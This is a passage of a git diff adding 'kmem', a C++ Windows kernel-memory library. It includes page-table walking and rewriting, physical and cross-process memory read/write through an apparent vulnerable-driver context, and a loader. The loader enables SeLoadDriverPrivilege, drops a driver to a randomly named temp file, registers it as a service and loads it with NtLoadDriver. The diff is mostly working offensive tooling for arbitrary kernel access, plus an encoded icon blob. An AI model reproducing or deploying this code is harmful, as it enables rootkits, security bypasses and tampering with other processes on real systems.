[new_buffer_addr, new_addr] = write_virtual + ( + buffer, + addr, + PAGE_4KB - virt_addr.offset + ); + + // forward work load + return write_virtual + ( + new_buffer_addr, + new_addr, + size - (PAGE_4KB - virt_addr.offset) + ); + } + } + + bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size) + return false; + + const auto temp_page = set_page(addr); + __try + { + memcpy(buffer, temp_page, size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + return false; + } + return true; + } + + bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size) + return false; + + const auto temp_page = set_page(addr); + __try + { + memcpy(temp_page, buffer, size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + return false; + } + return true; + } + + void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) + { + if (!addr || !this->dirbase) + return {}; + + const virt_addr_t virt_addr{ addr }; + + // traverse paging tables + auto pml4e = read_phys<::pml4e>( + reinterpret_cast(this->dirbase) + virt_addr.pml4_index); + + entries.pml4.first = reinterpret_cast(this->dirbase) + virt_addr.pml4_index; + entries.pml4.second = pml4e; + + if (!pml4e.value) + return NULL; + + auto pdpte = read_phys<::pdpte>( + reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index); + + entries.pdpt.first = reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index; + entries.pdpt.second = pdpte; + + if (!pdpte.value) + return NULL; + + auto pde = read_phys<::pde>( + reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index); + + entries.pd.first = reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index; + entries.pd.second = pde; + + if (!pde.value) + return NULL; + + auto pte = read_phys<::pte>( + reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index); + + entries.pt.first = reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index; + entries.pt.second = pte; + + if (!pte.value) + return NULL; + + return reinterpret_cast((pte.pfn << 12) + virt_addr.offset); + } + + unsigned mem_ctx::get_pid() const + { + return this->pid; + } + + void* mem_ctx::get_dirbase() const + { + return this->dirbase; + } + + pml4e mem_ctx::operator[](std::uint16_t pml4_idx) + { + return read_phys<::pml4e>(reinterpret_cast(this->dirbase) + pml4_idx); + } + + pdpte mem_ctx::operator[](const std::pair& entry_idx) + { + const auto pml4_entry = this->operator[](entry_idx.first); + return read_phys<::pdpte>(reinterpret_cast(pml4_entry.pfn << 12) + entry_idx.second); + } + + pde mem_ctx::operator[](const std::tuple& entry_idx) + { + const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) }); + return read_phys<::pde>(reinterpret_cast(pdpt_entry.pfn << 12) + std::get<2>(entry_idx)); + } + + pte mem_ctx::operator[](const std::tuple& entry_idx) + { + const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) }); + return read_phys<::pte>(reinterpret_cast(pd_entry.pfn << 12) + std::get<3>(entry_idx)); + } +} \ No newline at end of file diff --git a/kmem/mem_ctx/mem_ctx.hpp b/kmem/mem_ctx/mem_ctx.hpp new file mode 100644 index 0000000..22a7ca2 --- /dev/null +++ b/kmem/mem_ctx/mem_ctx.hpp @@ -0,0 +1,86 @@ +#pragma once +#include "../util/nt.hpp" +#include "../vdm_ctx/vdm_ctx.hpp" + +namespace nasa +{ + class mem_ctx + { + friend class pclone_ctx; + public: + mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId()); + std::pair get_pte(void* addr, bool use_hyperspace = false); + void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false); + + std::pair get_pde(void* addr, bool use_hyperspace = false); + void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false); + + std::pair get_pdpte(void* addr, bool use_hyperspace = false); + void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false); + + std::pair get_pml4e(void* addr, bool use_hyperspace = false); + void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); + + void* get_dirbase() const; + static void* get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid); + + bool read_phys(void* buffer, void* addr, std::size_t size); + bool write_phys(void* buffer, void* addr, std::size_t size); + + template + T read_phys(void* addr) + { + T buffer; + read_phys((void*)&buffer, addr, sizeof(T)); + return buffer; + } + + template + void write_phys(void* addr, const T& data) + { + write_phys((void*)&data, addr, sizeof(T)); + } + + std::pair read_virtual(void* buffer, void* addr, std::size_t size); + std::pair write_virtual(void* buffer, void* addr, std::size_t size); + + template + __forceinline T read_virtual(void* addr) + { + T buffer; + read_virtual((void*)&buffer, addr, sizeof(T)); + return buffer; + } + + template + __forceinline void write_virtual(void* addr, const T& data) + { + write_virtual((void*)&data, addr, sizeof(T)); + } + + void* virt_to_phys(pt_entries& entries, void* addr); + void* set_page(void* addr); + void* get_page() const; + unsigned get_pid() const; + + pml4e operator[](std::uint16_t pml4_idx); + pdpte operator[](const std::pair& entry_idx); + pde operator[](const std::tuple& entry_idx); + pte operator[](const std::tuple& entry_idx); + private: + + bool hyperspace_entries(pt_entries& entries, void* addr); + void* dirbase; + vdm::vdm_ctx* v_ctx; + std::uint16_t pml4e_index, + pdpte_index, + pde_index, + pte_index, + page_offset; + + std::pair new_pdpt; + std::pair new_pd; + std::pair new_pt; + unsigned pid; + }; +} \ No newline at end of file diff --git a/kmem/small.ico b/kmem/small.ico new file mode 100644 index 0000000000000000000000000000000000000000..77db41c4d3f956a14c5fa97fdf67d4753273db46 GIT binary patch literal 73182 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 +#include +#include +#include +#include + +#pragma comment(lib, "ntdll.lib") +extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING); +extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING); + +namespace driver +{ + namespace util + { + __forceinline auto delete_service_entry(const std::string& service_name) -> bool + { + HKEY reg_handle; + static const std::string reg_key("System\\CurrentControlSet\\Services\\"); + + auto result = RegOpenKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && + ERROR_SUCCESS == RegCloseKey(reg_handle);; + } + + __forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool + { + HKEY reg_handle; + std::string reg_key("System\\CurrentControlSet\\Services\\"); + reg_key += service_name; + + auto result = RegCreateKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t type_value = 1; + result = RegSetValueExA( + reg_handle, + "Type", + NULL, + REG_DWORD, + &type_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t error_control_value = 3; + result = RegSetValueExA( + reg_handle, + "ErrorControl", + NULL, + REG_DWORD, + &error_control_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t start_value = 3; + result = RegSetValueExA( + reg_handle, + "Start", + NULL, + REG_DWORD, + &start_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + result = RegSetValueExA( + reg_handle, + "ImagePath", + NULL, + REG_SZ, + (std::uint8_t*) drv_path.c_str(), + drv_path.size() + ); + + if (result != ERROR_SUCCESS) + return false; + + return ERROR_SUCCESS == RegCloseKey(reg_handle); + } + + __forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool + { + HANDLE token_handle = nullptr; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) + return false; + + LUID luid{}; + if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) + return false; + + TOKEN_PRIVILEGES token_state{}; + token_state.PrivilegeCount = 1; + token_state.Privileges[0].Luid = luid; + token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) + return false; + + CloseHandle(token_handle); + return true; + } + + __forceinline auto get_service_image_path(const std::string& service_name) -> std::string + { + HKEY reg_handle; + DWORD bytes_read; + char image_path[0xFF]; + static const std::string reg_key("System\\CurrentControlSet\\Services\\"); + + auto result = RegOpenKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + result = RegGetValueA( + reg_handle, + service_name.c_str(), + "ImagePath", + REG_SZ, + NULL, + image_path, + &bytes_read + ); + + RegCloseKey(reg_handle); + return std::string(image_path); + } + } + + __forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool + { + if (!util::enable_privilege(L"SeLoadDriverPrivilege")) + return false; + + if (!util::create_service_entry("\\??\\" + + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) + return false; + + std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); + reg_path += service_name; + + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; + + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); + return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode); + } + + __forceinline auto load(const std::vector& drv_buffer) -> std::tuple + { + static const auto random_file_name = [](std::size_t length) -> std::string + { + static const auto randchar = []() -> char + { + const char charset[] = + "0123456789" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz"; + const std::size_t max_index = (sizeof(charset) - 1); + return charset[rand() % max_index]; + }; + std::string str(length, 0); + std::generate_n(str.begin(), length, randchar); + return str; + }; + + const auto service_name = random_file_name(16); + const auto file_path = std::filesystem::temp_directory_path().string() + service_name; + std::ofstream output_file(file_path.c_str(), std::ios::binary); + + output_file.write((char*)drv_buffer.data(), drv_buffer.size()); + output_file.close(); + + return { load(file_path, service_name), service_name }; + } + + __forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple + { + std::vector image(buffer, buffer + size); + return load(image); + } + + __forceinline auto unload(const std::string& service_name) -> bool + { + std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); + reg_path += service_name; + + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; + + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); + + const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode); + if (!unload_drv) return false; + + const auto image_path = std::filesystem::temp_directory_path().string() + service_name; + const bool delete_reg = util::delete_service_entry(service_name); + return delete_reg && unload_drv; + } +} \ No newline at end of file diff --git a/kmem/util/nt.hpp b/kmem/util/nt.hpp new file mode 100644 index 0000000..a9fd47d --- /dev/null +++ b/kmem/util/nt.hpp @@ -0,0 +1,193 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#pragma comment(lib, "ntdll.lib") + +#if _DEBUG +#define DBG_ASSERT(...) assert(__VA_ARGS__) +#define DBG_PRINT(...) printf(__VA_ARGS__) +#else +#define DBG_ASSERT(...) assert(__VA_ARGS__) +#define DBG_PRINT(...) printf(__VA_ARGS__) +#endif + +#define PAGE_4KB 0x1000 +#define MM_COPY_MEMORY_PHYSICAL 0x1 +#define MM_COPY_MEMORY_VIRTUAL 0x2 +#define PAGE_IN(addr, size) memset(addr, NULL, size) + +constexpr auto SystemModuleInformation = 11; +constexpr auto SystemHandleInformation = 16; +constexpr auto SystemExtendedHandleInformation = 64; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; + +typedef struct _MM_COPY_ADDRESS { + union { + PVOID VirtualAddress; + PHYSICAL_ADDRESS PhysicalAddress; + }; +} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; + +using PEPROCESS = PVOID; + +using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)( + HANDLE ProcessId, + PEPROCESS* Process +); + +using MmCopyMemory = NTSTATUS(__stdcall*)( + PVOID, + MM_COPY_ADDRESS, + SIZE_T, + ULONG, + PSIZE_T +); + +using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)( + __in std::uintptr_t PhysicalAddress +); + +using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)( + __in std::uintptr_t BaseAddress +); + +// PsGetAllocatedFullProcessImageNameEx... +using GET_PROC_NAME = std::uint32_t(*)(PEPROCESS); + +typedef union _virt_addr_t +{ + void* value; + struct + { + std::uint64_t offset : 12; + std::uint64_t pt_index : 9; + std::uint64_t pd_index : 9; + std::uint64_t pdpt_index : 9; + std::uint64_t pml4_index : 9; + std::uint64_t reserved : 16; + }; +} virt_addr_t, *pvirt_addr_t; +static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pml4e +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t ReadWrite : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT. + std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Ignored1 : 1; + std::uint64_t large_page : 1; // Must be 0 for PML4E. + std::uint64_t Ignored2 : 4; + std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E. + std::uint64_t Reserved : 4; + std::uint64_t Ignored3 : 11; + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pml4e, * ppml4e; +static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pdpte +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t rw : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PD. + std::uint64_t page_cache : 1; // Determines the memory type used to access PD. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Ignored1 : 1; + std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page. + std::uint64_t Ignored2 : 4; + std::uint64_t pfn : 36; // The page frame number of the PD of this 